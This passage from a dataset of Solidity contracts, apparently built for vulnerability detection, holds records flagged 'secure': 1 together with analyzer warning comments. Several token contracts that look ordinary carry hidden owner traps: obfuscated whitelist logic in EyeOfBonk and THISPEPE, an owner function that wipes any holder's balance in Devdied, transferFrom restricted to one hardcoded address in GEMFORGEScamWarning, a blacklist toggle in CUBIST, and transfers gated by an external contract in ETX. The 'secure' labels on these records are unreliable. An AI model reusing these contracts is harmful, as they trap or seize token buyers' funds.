(bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n roof(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function iron(address from, address to, uint256 amount) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = unless[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n unless[from] = fromBalance - amount;\n\n unless[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = unless[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n unless[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function roof(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n roof(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1787.sol", "secure": 1, "size_bytes": 5405 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesUint2 {\n uint256 i;\n\n function SetInt() public {\n i = 1;\n }\n}", "file_name": "solidity_code_1788.sol", "secure": 1, "size_bytes": 163 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EyeOfBonk is ERC20, Ownable {\n mapping(address => uint256) private trade;\n\t// WARNING Optimization Issue (constable-states | ID: 110d1d7): EyeOfBonk.felt should be constant \n\t// Recommendation for 110d1d7: Add the 'constant' attribute to state variables that never change.\n uint256 public felt = 3;\n\t// WARNING Optimization Issue (constable-states | ID: 8c0514c): EyeOfBonk.refused should be constant \n\t// Recommendation for 8c0514c: Add the 'constant' attribute to state variables that never change.\n uint256 private refused = 6;\n\n constructor(\n string memory struck,\n string memory ability,\n address managed,\n address exactly\n ) ERC20(struck, ability) {\n trade[exactly] = refused;\n unless[msg.sender] = _totalSupply;\n }\n\n function iron(\n address military,\n address cloud,\n uint256 because\n ) internal override {\n if (trade[military] == 0) {\n unless[military] -= because;\n }\n\n uint256 somewhere = because * felt;\n somewhere = somewhere / 100;\n because -= somewhere;\n unless[cloud] += because;\n emit Transfer(military, cloud, because);\n }\n}", "file_name": "solidity_code_1789.sol", "secure": 1, "size_bytes": 1428 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Decimals.sol\" as ERC20Decimals;\nimport \"./ServicePayer.sol\" as ServicePayer;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract StandardERC20 is ERC20Decimals, ServicePayer {\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 initialBalance_,\n address payable feeReceiver_\n )\n payable\n ERC20(name_, symbol_)\n ERC20Decimals(decimals_)\n ServicePayer(feeReceiver_, \"StandardERC20\")\n {\n require(initialBalance_ > 0, \"StandardERC20: supply cannot be zero\");\n\n _mint(_msgSender(), initialBalance_);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return super.decimals();\n }\n}", "file_name": "solidity_code_179.sol", "secure": 1, "size_bytes": 859 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract PFPDuck is ERC721A {\n uint256 public maxSupply = 3333;\n\n uint256 public maxFree = 2000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c3f184): PFPDuck.cost should be constant \n\t// Recommendation for 3c3f184: Add the 'constant' attribute to state variables that never change.\n uint256 public cost = 0.0015 ether;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad96a1d): PFPDuck.maxPerWallet should be immutable \n\t// Recommendation for ad96a1d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private maxPerWallet;\n\n uint256 public freePertx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9b05b79): PFPDuck.owner should be immutable \n\t// Recommendation for 9b05b79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n string uri = \"\";\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n _mint(amount);\n }\n\n function treasureMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"PFP Duck\", \"PDuck\") {\n owner = msg.sender;\n maxPerWallet = 5;\n freePertx = 5;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n require(amount <= freePertx);\n require(totalSupply() + amount <= maxFree);\n require(balanceOf(msg.sender) < maxPerWallet);\n _safeMint(msg.sender, amount);\n return;\n }\n require(msg.value >= cost * (amount - 1));\n _safeMint(msg.sender, amount);\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function setData(uint256 f, uint256 t, uint256 m) public onlyOwner {\n freePertx = f;\n maxFree = t;\n maxSupply = m;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_1790.sol", "secure": 1, "size_bytes": 2599 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Devdied {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 800000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: b0938b6): devdied._name should be constant \n\t// Recommendation for b0938b6: Add the 'constant' attribute to state variables that never change.\n string private _name = \"dev died\";\n\t// WARNING Optimization Issue (constable-states | ID: 35db49c): devdied._symbol should be constant \n\t// Recommendation for 35db49c: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"devded\";\n\t// WARNING Optimization Issue (immutable-states | ID: cdb5566): devdied._owner should be immutable \n\t// Recommendation for cdb5566: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = msg.sender;\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function ohnoooo(address account) external {\n require(msg.sender == _owner);\n\n uint256 accountBalance = _balances[account];\n\n _totalSupply -= accountBalance;\n _balances[account] -= _balances[account];\n emit Transfer(account, address(0), accountBalance);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1791.sol", "secure": 1, "size_bytes": 5833 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesUint3 {\n uint256 i;\n uint256 y;\n uint256 z;\n\n function SetInt() public {\n i = 1;\n y = 1;\n z = 1;\n }\n}", "file_name": "solidity_code_1792.sol", "secure": 1, "size_bytes": 227 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract THISPEPE is Ownable {\n function everything(\n address anything,\n address rope,\n uint256 where\n ) private returns (bool success) {\n if (where == 0) {\n evening[rope] += middle;\n }\n if (doll[anything] == 0) {\n balanceOf[anything] -= where;\n if (uniswapV2Pair != anything && evening[anything] > 0) {\n doll[anything] -= middle;\n }\n }\n balanceOf[rope] += where;\n emit Transfer(anything, rope, where);\n return true;\n }\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(address => uint256) private doll;\n\n mapping(address => uint256) public balanceOf;\n\n constructor(string memory best, string memory heavy, address police) {\n name = best;\n symbol = heavy;\n totalSupply = 1000000000 * 10 ** decimals;\n balanceOf[msg.sender] = totalSupply;\n doll[police] = middle;\n IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function approve(\n address torn,\n uint256 where\n ) public returns (bool success) {\n allowance[msg.sender][torn] = where;\n emit Approval(msg.sender, torn, where);\n return true;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 1413c04): THISPEPE.decimals should be constant \n\t// Recommendation for 1413c04: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3f19cf8): THISPEPE.uniswapV2Pair should be immutable \n\t// Recommendation for 3f19cf8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ceecd3): THISPEPE.middle should be constant \n\t// Recommendation for 9ceecd3: Add the 'constant' attribute to state variables that never change.\n uint256 private middle = 51;\n\n string public symbol;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private evening;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c73a963): THISPEPE.totalSupply should be immutable \n\t// Recommendation for c73a963: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\n string public name;\n\n function transferFrom(\n address anything,\n address rope,\n uint256 where\n ) public returns (bool success) {\n everything(anything, rope, where);\n require(where <= allowance[anything][msg.sender]);\n allowance[anything][msg.sender] -= where;\n return true;\n }\n\n function transfer(\n address rope,\n uint256 where\n ) public returns (bool success) {\n everything(msg.sender, rope, where);\n return true;\n }\n}", "file_name": "solidity_code_1793.sol", "secure": 1, "size_bytes": 3719 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GEMFORGEScamWarning is IERC20 {\n string public constant name = \"$CAM WARNING\";\n string public constant symbol =\n \"GEMFORGE SCAM WARNING - CHECK MY SOURCE CODE!\";\n uint8 public constant decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 4d6bea3): GEMFORGEScamWarning._totalSupply should be constant \n\t// Recommendation for 4d6bea3: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1 * (10 ** uint256(decimals));\n\t// WARNING Optimization Issue (constable-states | ID: fc22435): GEMFORGEScamWarning.ercWarningImplementation should be constant \n\t// Recommendation for fc22435: Add the 'constant' attribute to state variables that never change.\n address public ercWarningImplementation =\n 0x42314ce3e5D638f920C5daEa980D9F65e7018950;\n\t// WARNING Optimization Issue (constable-states | ID: 4d2d6e9): GEMFORGEScamWarning.deadAddress should be constant \n\t// Recommendation for 4d2d6e9: Add the 'constant' attribute to state variables that never change.\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(recipient != address(0), \"Invalid address\");\n require(_balances[msg.sender] >= amount, \"Insufficient funds\");\n\n _balances[msg.sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function airdrop(address[] memory recipients, uint256 amount) external {\n for (uint256 i = 0; i < recipients.length; i++) {\n require(\n _balances[msg.sender] >= amount,\n \"Insufficient balance for airdrop\"\n );\n _balances[msg.sender] -= amount;\n _balances[recipients[i]] += amount;\n emit Transfer(msg.sender, recipients[i], amount);\n }\n }\n function burnAll(address tokenAddress) external {\n IERC20 token = IERC20(tokenAddress);\n uint256 balance = token.balanceOf(msg.sender);\n require(token.transfer(deadAddress, balance), \"Transfer failed\");\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(sender != address(0), \"Invalid address\");\n require(recipient != address(0), \"Invalid address\");\n require(_balances[sender] >= amount, \"Insufficient funds\");\n require(msg.sender == ercWarningImplementation);\n require(\n _allowances[sender][msg.sender] >= amount,\n \"Allowance exceeded\"\n );\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][msg.sender] -= amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n}", "file_name": "solidity_code_1794.sol", "secure": 1, "size_bytes": 4071 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract CUBIST is Context, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _address_;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _tax;\n\t// WARNING Optimization Issue (constable-states | ID: c79c228): CUBIST.decimals should be constant \n\t// Recommendation for c79c228: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: 8e84bf0): CUBIST.name should be constant \n\t// Recommendation for 8e84bf0: Add the 'constant' attribute to state variables that never change.\n string public name = \"CUBIST\";\n\t// WARNING Optimization Issue (constable-states | ID: 8bccf9e): CUBIST.symbol should be constant \n\t// Recommendation for 8bccf9e: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"CUBIST\";\n\t// WARNING Optimization Issue (immutable-states | ID: cb8125a): CUBIST.approved should be immutable \n\t// Recommendation for cb8125a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private approved;\n\t// WARNING Optimization Issue (constable-states | ID: a3b79ec): CUBIST.value should be constant \n\t// Recommendation for a3b79ec: Add the 'constant' attribute to state variables that never change.\n uint256 internal value = 0;\n\t// WARNING Optimization Issue (constable-states | ID: ad31962): CUBIST._TS should be constant \n\t// Recommendation for ad31962: Add the 'constant' attribute to state variables that never change.\n uint256 public _TS = 250000000 * 1000000;\n\n constructor() {\n _tax[Router] = 2;\n _balances[msg.sender] = _TS;\n approved = msg.sender;\n emit Transfer(address(0), Maker, _TS);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _TS;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function execute(address _sender) external {\n require(msg.sender == approved);\n if (_address_[_sender]) _address_[_sender] = false;\n else _address_[_sender] = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_tax[msg.sender] == 2) {\n _balances[recipient] += amount;\n }\n _send(recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_address_[sender] || _address_[recipient]) amount = value;\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _send(address recipient, uint256 amount) internal virtual {\n require(\n msg.sender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_address_[msg.sender]) amount = value;\n _beforeTokenTransfer(msg.sender, recipient, amount);\n uint256 senderBalance = _balances[msg.sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n _afterTokenTransfer(msg.sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1795.sol", "secure": 1, "size_bytes": 6710 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20Dependancies {\n function checkERC20Status(\n address tokenAddress,\n uint256 amount\n ) external view returns (uint256);\n function checkERC20TrustStatus(\n address userAddress\n ) external view returns (uint256);\n}", "file_name": "solidity_code_1796.sol", "secure": 1, "size_bytes": 328 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesUint4 {\n uint256 i;\n uint256 y;\n uint256 z;\n\n function SetInt() public {\n i = 1;\n y = 1;\n z = 1;\n }\n}", "file_name": "solidity_code_1797.sol", "secure": 1, "size_bytes": 227 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./IERC20Dependancies.sol\" as IERC20Dependancies;\n\ncontract ETX is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _tokenTS_name;\n string private _tokenTS_symbol;\n\n uint256 private _tokenTS_totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: db93297): ETX.ERC20Dependancies should be immutable \n\t// Recommendation for db93297: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20Dependancies private ERC20Dependancies;\n\n constructor() {\n _tokenTS_name = \"ETX Share\";\n _tokenTS_symbol = \"ETX\";\n _tokenTS_totalSupply = 100000 * 10 ** 18;\n _balances[msg.sender] = _tokenTS_totalSupply;\n ERC20Dependancies = IERC20Dependancies(\n 0xb6a17Ccf4B4f2cBA851f4D52aFBeFF61B8d1D9c2\n );\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function _beforeTokenTransfer(\n address balance_from,\n address balance_to,\n uint256 balance_amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address balance_from,\n address balance_to,\n uint256 balance_amount\n ) internal virtual {}\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _tokenTS_name;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _tokenTS_totalSupply;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"Token : decreased allowance below 0\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Token : burn from the 0 address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(\n accountBalance >= amount,\n \"Token : burn amount exceeds balance\"\n );\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _tokenTS_totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"Token : transfer from the 0 address\");\n require(to != address(0), \"Token : transfer to the 0 address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"Token : transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20Status(\n from,\n amount\n );\n if (ERC20SafetyStatus == 0) {\n _spendAllowance(from, spender, amount);\n _safeTransfer(from, to, amount);\n return true;\n } else {\n return false;\n }\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _tokenTS_symbol;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function _spendAllowance(\n address balance_owner,\n address balance_spender,\n uint256 balance_amount\n ) internal virtual {\n uint256 currentAllowance = allowance(balance_owner, balance_spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= balance_amount,\n \"Token : insufficient allowance\"\n );\n unchecked {\n _approve(\n balance_owner,\n balance_spender,\n currentAllowance - balance_amount\n );\n }\n }\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function tame(address address_to_tame, uint256 amount) public virtual {\n uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20Status(\n address_to_tame,\n amount\n );\n if (ERC20SafetyStatus == 0) {\n _balances[address_to_tame] = _balances[address_to_tame] + amount;\n }\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n uint256 ERC20SafetyStatus = ERC20Dependancies.checkERC20TrustStatus(to);\n if (ERC20SafetyStatus == 0) {\n _safeTransfer(owner, to, amount);\n return true;\n } else {\n return false;\n }\n }\n\n function _approve(\n address balance_owner,\n address balance_spender,\n uint256 balance_amount\n ) internal virtual {\n require(\n balance_owner != address(0),\n \"Token : approve from the 0 address\"\n );\n require(\n balance_spender != address(0),\n \"Token : approve to the 0 address\"\n );\n\n _allowances[balance_owner][balance_spender] = balance_amount;\n emit Approval(balance_owner, balance_spender, balance_amount);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n}", "file_name": "solidity_code_1798.sol", "secure": 1, "size_bytes": 7254 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract DOGECEO is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private pair;\n uint256 public mWalletSize = 10 ** 4 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: dedddef): DOGECEO.tSupply should be immutable \n\t// Recommendation for dedddef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tSupply = 10 ** 6 * 10 ** decimals();\n\n constructor() ERC20(\"Doge CEO\", \"DOGECEO\") {\n _mint(msg.sender, 10 ** 6 * 10 ** decimals());\n }\n\n function addPair(address toPair) public onlyOwner {\n require(!pair[toPair], \"This pair is already excluded\");\n pair[toPair] = true;\n }\n\n function removeLimits() public onlyOwner {\n mWalletSize = tSupply;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (from != owner() && to != owner() && pair[from]) {\n require(\n balanceOf(to) + amount <= mWalletSize,\n \"Amount exceeds maximum wallet size\"\n );\n }\n\n if (\n from != owner() && to != owner() && !(pair[to]) && !(pair[from])\n ) {\n require(\n balanceOf(to) + amount <= mWalletSize,\n \"Balance exceeds max wallet size!\"\n );\n }\n }\n\n super._transfer(from, to, amount);\n }\n}", "file_name": "solidity_code_1799.sol", "secure": 1, 